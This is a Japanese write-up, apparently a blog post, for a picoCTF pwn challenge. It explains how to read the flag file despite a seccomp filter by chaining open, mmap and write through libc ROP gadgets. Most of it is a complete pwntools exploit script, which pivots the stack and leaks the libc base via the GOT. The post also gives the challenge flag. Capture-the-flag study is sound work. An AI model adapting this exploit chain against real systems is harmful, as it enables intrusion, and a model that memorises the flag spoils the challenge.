picoCTFのpwnの450points問題のwriteupです。この記事は以下の記事の後半ですので、まだ読んでない方はそちらを先に読んでください。
前回の投稿でフラグの書かれたファイルの名前の特定までできました。残るは、そのファイル名を利用してファイルをopenし、標準出力に書き出せば良さそうです。最初の方は前回と似たような攻撃をすれば良さそうです。seccomによって許可されたシステムコールを見ると、以下の手順で攻撃することが考えられます。
- open(“flag-b1a750d7-91bf-43ab-8c81-4b504644b434.txt”, O_RDONLY[=0])を実行する。これが成功すれば、対応するファイルディスクリプタは3になる。
- mmapを利用し、ファイルの中身をメモリにマップする。
- マップした先のメモリに置かれているデータをwriteで出力する。
1.は前回と似たような方法で可能。問題は2.である。mmapは引数を6つ取るので、6引数の設定が必要。システムコールは引数を、rdi, rsi, rdx, r10, r8, r9で受け取ることになっていて、通常の関数とは第4引数が違うので注意!(投稿者はこれで少し沼り時間を溶かしました。。通常の関数は第4引数をrcxで受け取ります。)
#include <sys/mman.h>
void *mmap(void *addr, size_t len, int prot, int flags,
int fd, off_t offset)
mmapの定義は上のようになっている。flagsでMAP_FIXEDを使用することで(仕様は推奨されていないらしいが)、指定したアドレスにファイルをマップさせることができる。よって以下のように呼び出してあげれば、アドレス0x605000にフラグがマップされる。
- mmap(0x605000, 0x100, PROT_READ[=1], MAP_FIXED|MAP_PRIVATE[=0x12], 3, 0)
ここまで分かったところで第4~6引数を設定する方法を考える。libc内のROP-Gadgetを見てみると以下のガジェットたちが使えそうだ。
# r9に0を入れるのは以下のガジェットを使う
# (X) 0x000c9ccf: xor r9d, r9d ; mov eax, r9d ; ret ; (1 found)
rop_X = libc_base + 0x000c9ccf
# r8に4を入れるには以下のガジェットを使う
# (Y) 0x00122937: mov r8d, eax ; mov eax, r8d ; ret ; (1 found)
rop_Y = libc_base + 0x00122937
# r10に0x12を入れるには以下のガジェットを使う
# (Z) 0x0007b0cb: mov r10, rdx ; jmp rax ; (7 found)
rop_Z = libc_base + 0x0007b0cb
具体的には、以下のように設置することで第4~6引数を設定する。
|---------------------|
| (X) | <-- r9が0になる
|---------------------|
| pop rax; |
|---------------------|
| arg5 | <-- r8に入れる値
|---------------------|
| (Y) |
|---------------------|
| pop rdx; pop r12; |
|---------------------|
| arg4 | <-- r10に入れる値
|---------------------|
| |
|---------------------|
| pop rax; |
|---------------------|
| ret; | <-- (Z)のjmp rax;先をret-Gadgetのアドレスにする
|---------------------|
| (Z) |
|---------------------|
後は、第1~3引数も設定しmmapシステムコールば発行すれば良い。正しく実行できれば、0x605000にフラグの文字列があるのでwriteで出力してあげよう。
フラグ:picoCTF{n0_sh3ll_v3ry_flag_xdd}
from pwn import *
import struct
"""
フラグの名前がリークした後の攻撃
"""
flag_f = "flag-b1a750d7-91bf-43ab-8c81-4b504644b434.txt"
host, port = "mars.picoctf.net", 31809
# conn = process("./horse_patched")
conn = remote(host, port)
write_plt = 0x400740
read_plt = 0x400790
rop_ret = 0x4005a8
rop_rdi = 0x400c03
rop_rsi_r15 = 0x400c01
rop_rsp_r13_r14_r15 = 0x400bfd
got_read = 0x601fd8
got_write = 0x601fb0
payload_buf = 0x602000
"""
①スタックの位置を変更し、長めのpayloadが送れるようにする
"""
payload = b"A" * 40
# read(0, payload_buf, rdx)
payload += struct.pack("<QQ", rop_rdi, 0)
payload += struct.pack("<QQQ", rop_rsi_r15, payload_buf, 0)
payload += struct.pack("<Q", read_plt)
# rspの移動
payload += struct.pack("<QQ", rop_rsp_r13_r14_r15, payload_buf)
conn.sendline(payload)
"""
②libcのベースアドレスのリーク
"""
def create_function_call_gadget(func, edi, rsi, rdx):
# __libc_csu_initのROP片を利用した関数コール
# funcは関数自体のアドレスではなく関数のアドレスが書かれているアドレスを指定する必要がある
# つまり、gotテーブルのアドレスなどを指定するように!
__libc_csu_init_A = 0x400be0
__libc_csu_init_B = 0x400bfa
rp = struct.pack("<Q", __libc_csu_init_B)
rp += struct.pack("<QQQ", 0, 1, func)
rp += struct.pack("<QQQ", edi, rsi, rdx)
rp += struct.pack("<QQ", __libc_csu_init_A, 0xdeadbeef)
rp += struct.pack("<QQQQQQ", 0, 0, 0, 0, 0, 0)
return rp
# pop r13; pop r14; pop r15; ret;の処理から始まるので埋めておく
payload = b"A" * 24
# write(1, got_read, 8)
payload += create_function_call_gadget(got_write, 1, got_read, 8)
# read(0, 0x602f00, 2)
payload += create_function_call_gadget(got_read, 0, 0x602f00, len(flag_f) + 3) #長さは./{flag_F}\x00なので+3している
# もう一度上書きしたいので、rop_retでなるべく遠くまで持っていく
payload += struct.pack("<Q", rop_ret) * 10
# 再度payloadを送れるようにする
payload += create_function_call_gadget(got_read, 0, 0x602000, 0x800)
# rspの移動
payload += struct.pack("<QQ", rop_rsp_r13_r14_r15, payload_buf)
conn.send(payload)
for u in conn.recvlines(9):
# horseの出力を受け取る
# 一応出力しておく
print(u.decode())
# 上の攻撃でreadのアドレスがリークする。
libc_read = struct.unpack("<Q", conn.recv(8)[:8])[0]
libc_base = libc_read - 0x111130
print("libc_base:", hex(libc_base))
# 0x602f00アドレスにフラグファイルの名前を書き込む
conn.send(f"./{flag_f}\x00".encode())
"""
③openシステムコールとmmapシステムコールを駆使してファイル名を特定する
"""
rop_rsi = libc_base + 0x27529
rop_rdx_r12 = libc_base + 0x11c371
rop_rcx = libc_base + 0x9f822
rop_rax = libc_base + 0x4a54f
rop_syscall_ret = libc_base + 0x66229 # syscall -> retのROPGadgetのアドレス
flagfile_name_buf = 0x602f00 # フラグファイルの名前がおいてあるアドレス
# pop r13; pop r14; pop r15; ret;の処理から始まるので埋めておく
payload = b"A" * 24
# open(flagfile_name_buf, O_RDONLY[=0])
payload += struct.pack("<QQ", rop_rdi, flagfile_name_buf)
payload += struct.pack("<QQ", rop_rsi, 0)
payload += struct.pack("<QQ", rop_rax, 2) # open syscall
payload += struct.pack("<Q", rop_syscall_ret)
# mmap(addr, len, prot, flags, fd, offset)の実行
# r9に0を入れるのは以下のガジェットを使う
# (X) 0x000c9ccf: xor r9d, r9d ; mov eax, r9d ; ret ; (1 found)
rop_X = libc_base + 0x000c9ccf
# r8に4を入れるには以下のガジェットを使う
# (Y) 0x00122937: mov r8d, eax ; mov eax, r8d ; ret ; (1 found)
rop_Y = libc_base + 0x00122937
# r10に0x12を入れるには以下のガジェットを使う
# (Z) 0x0007b0cb: mov r10, rdx ; jmp rax ; (7 found)
rop_Z = libc_base + 0x0007b0cb
arg = [0x605000, 0x100, 1, 0x12, 3, 0] # mmapの引数たち
# r10, r8, r9の設定
payload += struct.pack("<Q", rop_X)
payload += struct.pack("<QQ", rop_rax, arg[4])
payload += struct.pack("<Q", rop_Y)
payload += struct.pack("<QQQ", rop_rdx_r12, arg[3], 0)
payload += struct.pack("<QQ", rop_rax, rop_ret)
payload += struct.pack("<Q", rop_Z)
# rdi, rsi, rdx, raxを設定し、syscallを発行
payload += struct.pack("<QQ", rop_rdi, arg[0]) # ファイルデータのマップ先アドレスは自動設定
payload += struct.pack("<QQ", rop_rsi, arg[1]) # len (pageサイズでアラインメントする必要あり)
payload += struct.pack("<QQQ", rop_rdx_r12, arg[2], 0) # 1(PROT_READ)
payload += struct.pack("<QQ", rop_rax, 9) # mmap syscall number
payload += struct.pack("<Q", rop_syscall_ret)
# write(1, 0x605000, 0x100)
payload += struct.pack("<QQ", rop_rdi, 1)
payload += struct.pack("<QQ", rop_rsi, 0x605000)
payload += struct.pack("<QQQ", rop_rdx_r12, 0x100, 0)
payload += struct.pack("<Q", write_plt)
payload += b"AAAAAAAA"
conn.send(payload)
conn.interactive()
コメント